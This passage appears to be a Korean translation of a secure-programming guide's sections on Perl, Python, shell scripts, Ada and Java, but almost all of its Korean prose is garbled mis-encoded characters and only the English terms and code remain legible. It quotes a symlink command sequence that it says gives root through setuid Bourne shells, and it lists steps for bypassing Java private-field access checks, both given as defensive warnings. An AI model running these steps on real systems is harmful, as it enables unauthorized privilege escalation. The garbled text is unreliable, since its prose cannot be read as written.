ÆÞÀÇ open() ÇÔ¼ö´Â ¼ÖÁ÷È÷ ´ëºÎºÐÀÇ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡ ´ëÇØ ``³Ê¹«³ª ÀÌ»óÇÑ ¹æ½Ä" À¸·Î ÀÛµ¿Çϴµ¥ ÀÌ´Â ÅØ½ºÆ®°¡ ÁÖÀDZí°Ô ÇÊÅ͸µµÇÁö ¾Ê´Â´Ù¸é ¸¹Àº º¸¾È ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ÅØ½ºÆ®¸¦ ÇØ¼®ÇÑ´Ù. ÆÄÀÏ ¿ÀÇ ¶Ç´Â ·ÎÅ©ÇÏ´Â Äڵ带 ÀÛ¼ºÇϱâ Àü¿¡ perlopentut(1) ¸Ç ÆäÀÌÁö¸¦ ÂüÁ¶Çضó. ´ëºÎºÐÀÇ °æ¿ì sysopen() Àº ÆÄÀÏ ¿ÀÇ¿¡ ´õ¿í º¹ÀâÇÔ¿¡µµ ºÒ±¸ÇÏ°í ´õ¿í ¾ÈÀüÇÑ ¹æ¹ýÀ» Á¦°øÇϴµ¥ »õ·Î¿î ÆÞ 5.6 ¿¡´Â ¸Å¿ì º¹ÀâÇÑ sysopen() ±â´ÉÀ» ÇÊ¿ä·Î ÇÔÀÌ ¾øÀÌ ÀÌ»óÇÑ °Åµ¿À» ²ô±â À§ÇØ 3°³ÀÇ ¸Å°³º¯¼ö¸¦ °®´Â open() È£ÃâÀÌ Ãß°¡µÇ¾î ÀÖ´Ù..

ÆÞ ÇÁ·Î±×·¥Àº ÀáÀçÀûÀ¸·Î À§ÇèÇϰųª ¾µ¸ð¾ø´Â ¹®ÀåµéÀ» °æ°íÇÏ´Â °æ°í Ç÷¡±× (-w) ¸¦ ÄÑ¾ß ÇÑ´Ù.

Á¦ÇÑµÈ È¯°æ¿¡¼­ ÆÞ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¼öµµ Àִµ¥ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Ç¥ÁØ ÆÞ ¹èÆ÷ÆÇ¿¡¼­ "Safe" ¸ðµâÀ» º¸¶ó. ÀúÀÚ´Â ÀÌ ¸ðµâÀÌ ¼öÇàÇÏ´Â °¨»çÀÇ ¾çÀ» ºÐ¸íÈ÷ ¸ð¸£´Âµ¥ µû¶ó¼­ º¸¾ÈÀ» À§ÇØ ÀÌ ¸ðµâÀ» ÁÖÀÇÇØ¼­ »ç¿ëÇØ¶ó. ¶ÇÇÑ "Penguin Model for Secure Distributed Internet Scripting" ¸¦ °íÂûÇÒ ¼öµµ ÀÖ´Ù. ±×·¯³ª ÀÌ ¹®¼­ ÀÛ¼º½ÃÁ¡¿¡¼­ ÄÚµå¿Í ¹®¼­°¡ µµ¿òÀÌ µÇÁö ¾Ê´Â °Í°°´Ù.


9.3. ÆÄÀ̽ã

¸ðµç ¾ð¾î¿¡¼­¿Í °°ÀÌ ¹Ýµå½Ã ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ°¡ ÀԷ¿¡ ¿µÇâÀ» ¹ÌÄ¥ ¼ö ¾øµµ·Ï µ¥ÀÌŸ°¡ ÇÁ·Î±×·¥ÀÇ ÇÑ ºÎºÐÀ¸·Î ½ÇÇàµÇµµ·Ï ÇÏ´Â ¸ðµç ÇÔ¼öµé¿¡ ÁÖÀÇÇØ¶ó. ÀÌ ÇÔ¼ö·Î´Â exec(), eval() °ú exefile() ÀÌ ÀÖ´Ù (¼ÖÁ÷È÷ compile() ¿¡ ´ëÇÑ ¸ðµç È£ÃâÀ» °Ë»çÇØ¾ß ÇÑ´Ù). ¶ÇÇÑ input() ¹®µµ ¿¹±âÄ¡ ¾Ê°Ô À§ÇèÇÏ´Ù [Watters 1996, 150].

±ÇÇÑÀÌ ¾ø´Â »ç¿ëÀÚ¿¡ ÀÇÇØ È£ÃâµÉ ¼ö ÀÖ´Â ±ÇÇÑÀ» °®´Â ÆÄÀ̽ã ÇÁ·Î±×·¥µéÀº (¿¹, setuid/setgid ÇÁ·Î±×·¥) "user (»ç¿ëÀÚ)" ¸ðµâÀ» import ÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. user ¸ðµâÀº pthonrc.py ÆÄÀÏÀÌ ÀÐÇôÁ® ½ÇÇàµÇ°Ô ÇÑ´Ù. ÀÌ ÆÄÀÏÀ» ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ°¡ Á¦¾îÇÒ ¼ö Àֱ⠶§¹®¿¡ user ¸ðµâÀ» import ÇÏ´Â °ÍÀº °ø°ÝÀÚ¿¡°Ô ½Å·ÚµÈ ÇÁ·Î±×·¥ÀÌ ÀÓÀÇÀÇ Äڵ带 ½ÇÇà½Ã۵µ·Ï ÇÒ ¼ö ÀÖ´Ù.

ÆÄÀ̽ãÀº ÄÄÆÄÀϽà °Ë»ç¸¦ °ÅÀÇ ÇÏÁö ¾Ê´Â´Ù -- º»ÁúÀûÀ¸·Î ÄÄÆÄÀϽà ¾î¶°ÇÑ Å¸ÀÔ Á¤º¸µµ °®Áö ¾ÊÀ¸¸ç °Ç³×Áö´Â ¸Å°³º¯¼öÀÇ ¼ö°¡ ÁÖ¾îÁø ÇÔ¼ö ¶Ç´Â ¸Þ½îµå¿¡ ´ëÇØ ÇÕ¹ýÀûÀÎÁö¸¦ ÀüÇô °Ë»çÇÏÁö ¾Ê´Â´Ù. ÀÌ´Â ÀáÀçÀûÀÎ ¸¹Àº ¹ö±×¸¦ ¾ß±âÇϴµ¥ John Viega ¿Í ÀúÀÚ´Â ÀÌ ¹®Á¦¸¦ °æÇèÇØ¿Ô´Ù. ÀßµÈ´Ù¸é ¾ðÁ¨°¡ ÆÄÀ̽ãÀº ¿À·§µ¿¾È ³íÀǵǾî¿Â °³³äÀÎ ¼±ÅÃÀûÀÎ Á¤Àû ŸÀÌÇÎ ¹× ŸÀÔ °Ë»ç¸¦ ±¸ÇöÇÒ °ÍÀÌ´Ù. ÇöÀç ºÎºÐÀûÀÎ ÇØ°á ¹æ¹ýÀº ÆÄÀ̽㠼ҽº Äڵ峻ÀÇ ÀϹÝÀûÀÎ ¹ö±×¸¦ °Ë»çÇÏ´Â lint °°Àº ÇÁ·Î±×·¥ÀÎ PyChecker ·Î http://pychecker.sourceforge.net ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

ÆÄÀ̽ãÀº RExec Ŭ·¡½º¸¦ ÅëÇØ ``Á¦ÇÑµÈ ½ÇÇà (Restricted Execution)" À» Áö¿øÇÑ´Ù. ÀÌ´Â º»·¡ ¾ÖÇø´°ú ¸ð¹ÙÀÏ Äڵ带 ½ÇÇà½Ã۱â À§ÇÑ °ÍÀÌÁö¸¸ Äڵ尡 ¿ÜºÎ¿¡¼­ Á¦°øµÇÁö ¾ÊÀ» ¶§¿¡µµ ÇÁ·Î±×·¥³»ÀÇ ±ÇÇÑÀ» Á¦ÇÑÇϱâ À§ÇØ ¶ÇÇÑ »ç¿ëµÉ ¼ö ÀÖ´Ù. µðÆúÆ®·Î Á¦ÇÑµÈ ½ÇÇà ȯ°æÀº ÆÄÀÏ Àбâ (¾²±â°¡ ¾Æ´Ñ) ¸¦ Çã¿ëÇÏÁö¸¸ ³×Æ®¿öÅ© Á¢±Ù ¶Ç´Â GUI »óÈ£ÀÛ¿ëÀ» À§ÇÑ ¿¬»êÀ» Æ÷ÇÔÇÏÁö´Â ¾Ê´Â´Ù. ÀÌ·¯ÇÑ µðÆúÆ®´Â º¯°æµÉ ¼ö Àִµ¥ Á¦ÇÑµÈ È¯°æ¿¡¼­ ÇãÁ¡ (loophole) »ý¼º¿¡ ÁÖÀÇÇØ¶ó. ƯÈ÷ »ç¿ëÀÚ¿¡°Ô Ŭ·¡½º¿¡ ¼Ó¼ºÀ» Á¦ÇѾøÀÌ Ãß°¡Çϵµ·Ï Çã¿ëÇÏ´Â °ÍÀº ÆÄÀ̽㠱¸ÇöÀÌ ¸¹Àº ¼û°ÜÁø ¸Þ½îµå¸¦ È£ÃâÇϱ⠶§¹®¿¡ ȯ°æÀ» ±ú¶ß¸± ¼ö ÀÖ´Â ¸ðµç Á¾·ùÀÇ ¹æ¹ýÀ» Çã¿ëÇÑ´Ù. µðÆúÆ®·Î ´ëºÎºÐÀÇ ÆÄÀ̽㠰´Ã¼´Â ÂüÁ¶¿¡ ÀÇÇØ Àü´ÞµÊÀ» ÁÖ¸ñÇØ¶ó; °¡º¯°ª¿¡ ´ëÇÑ ÂüÁ¶¸¦ Á¦ÇÑµÈ ÇÁ·Î±×·¥ÀÇ È¯°æ³»¿¡ »ðÀÔÇÑ´Ù¸é Á¦ÇÑµÈ ÇÁ·Î±×·¥Àº Á¦ÇÑµÈ È¯°æ ¿ÜºÎ¿¡¼­ º¸ÀÏ ¼ö ÀÖ°Ô °´Ã¼¸¦ º¯°æÇÒ ¼ö ÀÖ´Ù. µû¶ó¼­ °¡º¯°ª¿¡ ´ëÇÑ Á¢±ÙÀ» Çã¿ëÇÏ·Á¸é ¸¹Àº °æ¿ì °¡º¯°ªÀ» º¹»çÇϰųª ´Ù¸¥ °´Ã¼¿¡ ´ëÇÑ Á¦ÇÑµÈ Á¢±ÙÀ» Áö¿øÇÏ´Â Bation ¸ðµâÀ» »ç¿ëÇØ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Kuchling [2000] À» º¸¶ó. ÀúÀÚ´Â Á¦ÇÑµÈ ½ÇÇà ´É·ÂÀÌ ¼öÇàÇÏ´Â °¨»çÀÇ ¾ç¿¡ ´ëÇØ Àß ¸ð¸£¸ç µû¶ó¼­ ÇÁ·Î±×·¡¸ÓµéÀº ÁÖÀÇÇØ¶ó.


9.4. ½© ½ºÅ©¸³ÆÃ ¾ð¾î (sh °ú csh Deritivatives)

ÀúÀÚ´Â setuid/setgid º¸¾ÈÀûÀÎ Äڵ忡 ´ëÇØ csh, sh ¿Í bash ¿Í °°Àº Ç¥ÁØ Ä¿¸Çµå ½© ½ºÅ©¸³ÆÃ ¾ð¾î¸¦ »ç¿ëÇÏÁö ¸»¶ó°í ÃßõÇÑ´Ù. ¸®´ª½º¿Í °°Àº ¸î¸î ½Ã½ºÅÛµéÀº À̵éÀ» ¿ÏÀüÈ÷ ±ÝÁöÇϱ⠶§¹®¿¡ ºÒÇÊ¿äÇÑ À̽ļº ¹®Á¦¸¦ ¸¸µé ¼ö ÀÖ´Ù. ¾î¶² ¿À·¡µÈ ½Ã½ºÅÛ¿¡¼­ À̵éÀº 3.1.3절 ¿¡¼­ ³íÀÇµÈ ¹Ù¿Í °°ÀÌ °æÀï »óŶ§¹®¿¡ ±âº»ÀûÀ¸·Î ºñº¸¾ÈÀûÀÌ¸ç ´Ù¸¥ ½Ã½ºÅÛ¿¡ ´ëÇØ¼­µµ À̵éÀº ½ÇÁ¦·Î ÁÁÀº °³³äÀÌ ¾Æ´Ï´Ù. Ç¥ÁØ Ä¿¸Çµå ½©Àº ¾ÆÁ÷µµ ¸í¹éÇÏÁö ¾ÊÀº ÀԷ¿¡ ÀÇÇØ ¿µÇâÀ» ¹Þ´Â °ÍÀ¸·Î À¯¸íÇѵ¥ ÀÌ´Â ÀϹÝÀûÀ¸·Î Ä¿¸Çµå ½©ÀÌ °ú°¨ÇÑ °ø°ÝÀÚ¿¡ ´ëÇØ º¸È£ÇÏ´Â °ÍÀÌ ¾Æ´Ï¶ó ´ëÈ­½Ä »ç¿ëÀÚµéÀ» À§ÇØ ÀÚµ¿ÀûÀ¸·Î ÀÛ¾÷À» ÇÏ·Á°í ¼³°èµÇ¾ú±â ¶§¹®ÀÌ´Ù. ¿¹¸¦ µé¾î ¼û°ÜÁø ȯ°æ º¯¼ö (¿¹, ENV ¶Ç´Â BASH_ENV º¯¼ö) ´Â ½ºÅ©¸³Æ®°¡ ½ÇÇàµÉ ¼ö ÀÖ±â ÀüÀÌ¶óµµ ÀÓÀÇÀÇ »ç¿ëÀÚ Á¤ÀÇ Äڵ带 ¾î¶»°Ô ¿¬»ê ¶Ç´Â ´õ ³ª¾Æ°¡¼­´Â ½ÇÇà½ÃŰ´ÂÁö¿¡ ¿µÇâÀ» ¹ÌÄ¥ ¼ö ÀÖ´Ù. ½ÇÇà°¡´É ÆÄÀÏÀÇ À̸§ ¶Ç´Â µð·ºÅ丮 ³»¿ë°°Àº °Íµéµµ ¿µÇâÀ» ³¢Ä¥ ¼ö Àִµ¥ ¿¹¸¦ µé¾î ¸¹Àº Bourne ½© ±¸Çö¿¡¼­ ´ÙÀ½Àº ·çÆ® ±ÇÇÑÀ» ÁÙ ¼ö ÀÖ´Ù (ÀÌ ¾Ç¿ë ¼³¸í¿¡ ´ëÇØ NCSA ¿¡ °¨»çÇÑ´Ù).

 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x
¸î¸î ½Ã½ºÅÛÀº ÀÌ º¸¾È ±¸¸ÛÀ» ¸·À» ¼ö ÀÖÁö¸¸ ¹®Á¦´Â ¾ÆÁ÷ ³²¾ÆÀִµ¥ ´ëºÎºÐÀÇ Ä¿¸Çµå ½©ÀÌ º¸¾ÈÀûÀÎ setuid/setgid ÇÁ·Î±×·¥À» ÀÛ¼ºÇϵµ·Ï ÀǵµµÇÁö ¾Ê¾Ò´Ù´Â °ÍÀÌ´Ù. ÇÁ·Î±×·¡¹Ö ¸ñÀûÀ¸·Î setuid ½© ½ºÅ©¸³Æ®¸¦ Çã¿ëÇÏ´Â ½Ã½ºÅÛÀ̶ó°í ÇÏ´õ¶óµµ À̵éÀÇ »ý¼ºÀ» ÇÇÇØ¶ó. ´ë½Å ȯ°æÀ» ±ú²ýÀÌ Çϱâ À§ÇØ ´Ù¸¥ ¾ð¾î·Î ÀÛÀº ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑ ÈÄ ÀÌ ÇÁ·Î±×·¥ÀÌ ´Ù¸¥ ½ÇÇà°¡´ÉÇÑ ÆÄÀÏÀ» È£ÃâÇϵµ·Ï ÇØ¶ó (À̵é ÁßÀÇ ÀϺδ ½© ½ºÅ©¸³Æ®ÀÏ ¼öµµ ÀÖ´Ù).

¾ÆÁ÷µµ ½© ½ºÅ©¸³ÆÃ ¾ð¾îÀÇ »ç¿ëÀ» ÁÖÀåÇÑ´Ù¸é Àû¾îµµ ½ºÅ©¸³Æ®¸¦ À̵¿ ¶Ç´Â º¯°æµÉ ¼ö ¾ø´Â µð·ºÅ丮³»¿¡ µÎ¾î¶ó. ½ºÅ©¸³Æ®ÀÇ ¸Ç ¾Õ¿¡ PATH ¿Í IFS ¸¦ ¾Ë·ÁÁø °ªµé·Î ¼³Á¤Çضó.

ºñ½ÁÇÑ ¸Æ¶ôÀ¸·Î ÀúÀÚ´Â º¸¾ÈÀûÀÎ Á¤Ã¥À» ±¸ÇöÇÏ´Â ``Á¦ÇÑÀûÀÎ ½©" À» ½Å·ÚÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù°í Ãæ°íÇÑ´Ù. Á¦ÇÑÀûÀÎ ½©Àº ÀǵµÀûÀ¸·Î »ç¿ëÀÚ·Î ÇÏ¿©±Ý ¸¹Àº ÀÛ¾÷À» ¼öÇàÇÏÁö ¸øÇÏ°Ô ÇÏ´Â ½©·Î ±× ¸ñÀûÀº »ç¿ëÀÚ¿¡°Ô ´ÜÁö ¾ÆÁÖ ¼Ò¼öÀÇ ÇÁ·Î±×·¥µé¸¸À» ½ÇÇà½Ãų ¼ö ÀÖµµ·Ï ÇÏ´Â °ÍÀÌ´Ù. Á¦ÇÑÀûÀÎ ½©Àº öóÇÑ ¹æ¾î (defense-in-depth) Á¶Ä¡·Î À¯¿ëÇÒ ¼ö ÀÖÁö¸¸ Á¤È®ÇÏ°Ô ¼³Á¤ÇÏ´Â °ÍÀÌ ¾î·Æ´Ù°í ¾Ë·ÁÁ® ÀÖÀ¸¸ç ¼³Á¤µÇ´õ¶óµµ ´ë°³ ÆÄ±«µÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ¸î¸î Á¦ÇÑÀûÀÎ ½©Àº Á¦ÇѵÇÁö ¾ÊÀº ¸ðµå¿¡¼­ ¾î¶² ÆÄÀÏ (¿¹, ``.profile) À» ½ÇÇà½ÃÅ´À¸·Î½á ½ÃÀÛµÉ ¼ö ÀÖ´Ù. - »ç¿ëÀÚ°¡ ÀÌ ÆÄÀÏÀ» º¯°æ½Ãų ¼ö ÀÖ´Ù¸é ½©Àº º¯°æµÈ Äڵ带 ½ÇÇà½ÃŰ´Â °ÍÀÌ´Ù. Á¦ÇÑÀûÀÎ ½©Àº ´ÜÁö ¾à°£ÀÇ ÇÁ·Î±×·©¸¸À» ½ÇÇà½Ãų ¼ö ÀÖµµ·Ï ¼³Á¤µÇ¾î¾ß ÇÏÁö¸¸ ±×·¯ÇÑ ÇÁ·Î±×·¥Áß ¾î¶² ÇÁ·Î±×·¥ÀÌ »ç¿ëÀÚµé·Î ÇÏ¿©±Ý ´õ¿í ¸¹Àº ÇÁ·Î±×·¥À» ½ÇÇà½Ã۵µ·Ï ÇÏ´Â ``½© À̽ºÄÉÀÌÇÁ" ¸¦ °®°í ÀÖ´Ù¸é °ø°ÝÀÚ°¡ ÀÌ·¯ÇÑ ½© À̽ºÄÉÀÌÇÁ¸¦ »ç¿ëÇØ Á¦ÇÑÀûÀÎ ½©À» À̽ºÄÉÀÌÇÁÇÒ ¼ö ÀÖ´Ù. ¹°·Ð Á¦ÇÑÀûÀÎ ½©ÀÇ PATH ¸¦ ¼³Á¤ÇÏÁö ¾Ê¾Æ ¾î¶² ÇÁ·Î±×·¥µµ ½ÇÇàµÉ ¼ö ¾øµµ·Ï ¼³Á¤ÇÑ´Ù ÇÏ´õ¶óµµ °ø°ÝÀÚ´Â ÅØ½ºÆ® ÆíÁý±â, ¸ÞÀÏ·¯ µî ¸¹Àº ÇÁ·Î±×·¥ÀÇ ½© À̽ºÄÉÀÌÇÁ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¹®Á¦´Â ½©ÀÇ ¸ñÀûÀÌ ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇà½ÃŰ´Â °ÍÀÌÁö¸¸ ±×·¯ÇÑ ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ ÀǵµµÇÁö ¾ÊÀº ¿¬»êÀ» Çã¿ëÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. -- ½©Àº ÀÌ·¯ÇÑ ¿¬»êÀ» ¸øÇϵµ·Ï °³ÀÔÇÏÁö ¾Ê´Â´Ù.


9.5. Ada

Ada95 ¿¡¼­ Unbounded_String ŸÀÔÀº ÇÊ¿ä·ÎÇÏ´Â ¸¸Å­ Å©±â°¡ ÀÚµ¿ÀûÀ¸·Î Á¶ÀýµÉ ¼ö Àֱ⠶§¹®¿¡ String ŸÀÔº¸´Ù ´ë°³ ´õ¿í À¯¿¬ÇÏ´Ù. ±×·¯³ª ÆÐ½º¿öµå ¶Ç´Â ºñ¹ÐŰ¿Í °°ÀÌ Æ¯È÷ ±â¹ÐÀ» ´Ù·ç´Â °ªµéÀ» Unbounded_String ŸÀÔÀ¸·Î ÀúÀåÇÏÁö ¸¶¶ó. ÄÚ¾î ´ýÇÁ¿Í ÆäÀÌÁö ¿µ¿ªÀÌ ÃßÈÄ¶óµµ À̵éÀ» º¸À¯ÇÒ ¼ö ÀÖ´Ù. ´ë½Å ÀÌ µ¥ÀÌŸ¿¡´Â String ŸÀÔÀ» »ç¿ëÇÏ°í °¡´ÉÇÑ »¡¸® µ¥ÀÌŸ¸¦ ´Ù¸¥ ' ' ¿Í °°Àº ¾î¶² »ó¼ö°ªÀ¸·Î °ãÃÄ ½á¶ó.


9.6. ÀÚ¹Ù

ÀÚ¹Ù¸¦ »ç¿ëÇØ¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» °³¹ßÇÏ·Á¸é ¼ÖÁ÷È÷ ÀÚ¹Ù¸¦ ¹è¿î ÈÄ Ã¹ ´Ü°è´Â ÀÚ¹Ù º¸¾È¿¡ ´ëÇÑ µÎ °³ÀÇ ±âº» ÅØ½ºÆ®ÀÎ Gong [1999] ¿Í McGraw [1999] ¸¦ Àд °ÍÀÌ´Ù (µÎ¹øÂ°ÀÇ °æ¿ì ƯÈ÷ 7.1 ÀýÀ» º¸¶ó). ¶ÇÇÑ http://java.sun.com/security/seccodeguide.html ¿¡¼­ ½ãÀÌ °Ô½ÃÇÑ º¸¾È ÄÚµå ÁöħµéÀ» º¸¾Æ¾ß ÇÑ´Ù. ÀÚ¹ÙÀÇ º¸¾È ¸ðµ¨À» ¼³¸íÇÏ´Â ÀÏ·ÃÀÇ ½½¶óÀ̵åµéÀº http://www.dwheeler.com/javasec ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. ¶ÇÇÑ McGraw [1998] À» º¼ ¼öµµ ÀÖ´Ù.

¸í¹éÈ÷ ¸¹Àº °ÍµéÀº °³¹ßÇϰí ÀÖ´Â ¾ÖÇø®ÄÉÀ̼ÇÀÇ À¯Çü¿¡ ÀÇÁ¸Çϴµ¥ Ŭ¶óÀ̾ðÆ®Ãø¿¡¼­ »ç¿ëÇϱâ À§ÇÑ ÀÚ¹Ù ÄÚµå´Â ¼­¹öÃø ÄÚµå¿Í´Â ÀüÇô ´Ù¸¥ ȯ°æ (°ú ½Å·Ú ¸ðµ¨) À» °®°í ÀÖ´Ù. ¹°·Ð ÀϹÝÀûÀÎ ¿ø¸®´Â Àû¿ëµÈ´Ù. ¿¹¸¦ µé¾î ½Å·ÚµÇÁö ¾ÊÀº Ãâó·ÎºÎÅÍ ¿Â ¸ðµç ÀÔ·ÂÀ» °Ë»ç ¹× ÇÊÅ͸µÇØ¾ß ÇÑ´Ù. ±×·¯³ª ÀÚ¹Ù¿¡´Â ¹ØºÎºÐ¿¡¼­ ³íÀÇµÉ Á¶½ÉÇØ¾ß ÇÒ ¾î¶² ¼û°ÜÁø ÀÔ·Â ¶Ç´Â ÀáÀçÀû ÀԷµéÀÌ ÀÖ´Ù. Johnathan Nightingale [2000] Àº ÀÚ¹Ù ÇÁ·Î±×·¡¹Ö¿¡¼­ ¸¹Àº ¹®Á¦µéÀ» ¿ä¾àÇϰí ÀÖ´Â Àç¹ÌÀÖ´Â ¹®¼­¸¦ ÀÛ¼ºÇß´Ù:

...ÀÚ¹Ù ÇÁ·Î±×·¡¹Ö¿¡¼­ Å« ¹®Á¦´Â »ó¼Ó¿¡ ½Å°æÀ» ½á¾ßÇÑ´Ù´Â °ÍÀÌ´Ù. ºÎ¸ð, ÀÎÅÍÆäÀ̽º ¶Ç´Â ºÎ¸ðÀÇ ÀÎÅÍÆäÀ̽º·ÎºÎÅÍ ¸Þ½îµå¸¦ »ó¼ÓÇÑ´Ù¸é Äڵ忡 º¸¾È ±¸¸ÛÀ» ¿­ °ÍÀ» °¢¿ÀÇÏ´Â °ÍÀÌ´Ù.

´ÙÀ½Àº Gong [1999], McGraw [1999], ½ãÀÇ ±æÀâÀÌ¿Í ÀúÀÚÀÇ °æÇè¿¡ ±âÃÊÇÑ Áß¿äÇÑ ¾à°£ÀÇ ÁöħµéÀÌ´Ù.

  1. public ÇÊµå ¶Ç´Â º¯¼ö¸¦ »ç¿ëÇÏÁö ¸¶¶ó; À̵éÀº private À¸·Î ¼±¾ðÇϰí À̵éÀÇ Á¢±Ù¼ºÀ» Á¦ÇÑÇÒ ¼ö ÀÖµµ·Ï À̵鿡 ´ëÇÑ Á¢±ÙÀÚ¸¦ Á¦°øÇضó.

  2. ¸Þ½îµå¸¦ private À¸·Î ¸¸µéÁö ¾ÊÀ» È®½ÇÇÑ ÀÌÀ¯°¡ ¾ø´Ù¸é private À¸·Î ¸¸µé¾î¶ó (±×·¸Áö ¾Ê´Ù¸é À̸¦ ¹®¼­È­Çضó). ÀÌ·¯ÇÑ non-private ¸Þ½îµåµéÀº tainted µ¥ÀÌŸ¸¦ ¹ÞÀ» ¼öµµ Àֱ⠶§¹®¿¡ ¾î·µç À̵éÀ» º¸È£Çϱâ À§ÇØ ¹Ì¸® ÁغñÇÏÁö ¾Ê¾Ò´Ù¸é ±×µé ÀÚ½ÅÀ» º¸È£ÇØ¾ß ÇÑ´Ù.

  3. JVM Àº ¾ÖÇø´°ú´Â ¹Ý´ë·Î ¾ÖÇø®ÄÉÀ̼ǿ¡¼­ ·±Å¸Àӽà Á¢±Ù º¯°æÀÚ (¿¹, private) ¸¦ ½ÇÁ¦ Àû¿ëÇÏÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù. 2000³â 11¿ù 7ÀÏ "Secure Programming" ¸ÞÀϸµ ¸®½ºÆ®¿¡¼­ À̸¦ ÁöÀûÇÑ John Steven (Cigital Inc.) ¿¡ °í¸¿°Ô »ý°¢ÇÑ´Ù. ¹®Á¦´Â ÀÌ ¸ðµÎ°¡ Á¢±ÙÀ» ¿äûÇϴ Ŭ·¡½º°¡ ¾î¶² Ŭ·¡½º ·Î´õ¿Í ÇÔ²² ÀûÀçµÇ´À³Ä¿¡ ÀÇÁ¸ÇÑ´Ù´Â °ÍÀÌ´Ù. Ŭ·¡½º°¡ ½Å·ÚµÈ Ŭ·¡½º ·Î´õ (null/primordial Ŭ·¡½º ·Î´õ¸¦ Æ÷ÇÔÇØ) ¿Í ÇÔ²² ÀûÀçµÇ¸é Á¢±Ù °Ë»ç´Â Á¢±ÙÀ» Çã¿ëÇÏ´Â "TRUE" ¸¦ ¹ÝȯÇÑ´Ù. ¿¹¸¦ µé¾î ÀÌ´Â Àû¾îµµ ½ãÀÇ 1.2.2 VM °ú ÇÔ²² ÀÛµ¿Çϴµ¥ ±×·¯³ª ´Ù¸¥ ¹öÀü¿¡¼­´Â ÀÛµ¿ÇÏÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù:

    1. public Çʵ带 °®´Â victim Ŭ·¡½º (V) ¸¦ ÀÛ¼ºÇØ ÄÄÆÄÀÏÇØ¶ó.

    2. ÀÌ Çʵ忡 Á¢±ÙÇÏ´Â attack Ŭ·¡½º (A) ¸¦ ÀÛ¼ºÇØ ÄÄÆÄÀÏÇØ¶ó.

    3. V ÀÇ public Çʵ带 private À¸·Î º¯°æÇÑ ÈÄ ´Ù½Ã ÄÄÆÄÀÏÇØ¶ó.

    4. A ¸¦ ½ÇÇà½ÃÄѶó - ÀÌ´Â V ÀÇ (Áö±ÝÀº private) Çʵ忡 Á¢±ÙÇÒ °ÍÀÌ´Ù.

    ±×·¯³ª ¾ÖÇø´ÀÇ °æ¿ì´Â »óȲÀÌ ´Ù¸£´Ù. A ¸¦ ¾ÖÇø´À¸·Î º¯È¯ÇÏ°í ¾ÖÇø´ºä¾î ¶Ç´Â ºê¶ó¿ìÀú·Î À̸¦ ½ÇÇà½Ã۸é A ÀÇ Å¬·¡½º ·Î´õ´Â ´õÀÌ»ó ½Å·ÚµÈ (¶Ç´Â null) Ŭ·¡½º ·Î´õ°¡ ¾Æ´Ï´Ù. µû¶ó¼­ ÄÚµå´Â Ŭ·¡½º A ·ÎºÎÅÍ V.secret Çʵ带 Á¢±ÙÇÏ·Á Çϰí ÀÖ´Ù´Â ¸Þ½ÃÁö¿Í ÇÔ²² java.lang.IllegralAccessError ¸¦ ¹ß»ý½Ãų °ÍÀÌ´Ù.

  4. Á¤Àû ÇÊµå º¯¼öÀÇ »ç¿ëÀ» ÇÇÇØ¶ó. ÀÌ·¯ÇÑ º¯¼ö´Â Ŭ·¡½º (ÀνºÅϽº°¡ ¾Æ´Ñ) ¿¡ ¼Ò¼ÓµÈ °ÍÀ¸·Î ¸ðµç ´Ù¸¥ Ŭ·¡½º°¡ Ŭ·¡½ºÀÇ À§Ä¡¸¦ ãÀ» ¼ö ÀÖ´Ù. ±× °á°ú Á¤Àû ÇÊµå º¯¼ö´Â ¸ðµç ´Ù¸¥ Ŭ·¡½º°¡ ãÀ» ¼ö ÀÖÀ¸¸ç µû¶ó¼­ Á¤Àû ÇÊµå º¯¼ö¸¦ ¾ÈÀüÇÏ°Ô ÇÏ´Â °ÍÀº ´õ¿í ¾î·Æ´Ù.

  5. ÀáÀçÀûÀ¸·Î ¾ÇÀÇÀÖ´Â Äڵ忡 °¡º¯ °´Ã¼¸¦ Àý´ë·Î ¹ÝȯÇÏÁö ¸¶¶ó (Äڵ尡 À̸¦ º¯°æÇϱâ·Î °áÁ¤ÇÒ ¼öµµ Àֱ⠶§¹®¿¡). ¹è¿­Àº °¡º¯Àû (¹°·Ð ¹è¿­ÀÇ ³»¿ëµéÀº °¡º¯ÀûÀÌ ¾Æ´ÒÁö¶óµµ) ÀÓÀ» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ ±â¹ÐÀ» ´Ù·ç´Â µ¥ÀÌŸ¸¦ °®´Â ³»ºÎ ¹è¿­¿¡ ´ëÇÑ ÂüÁ¶¸¦ ¹ÝȯÇÏÁö ¸¶¶ó.

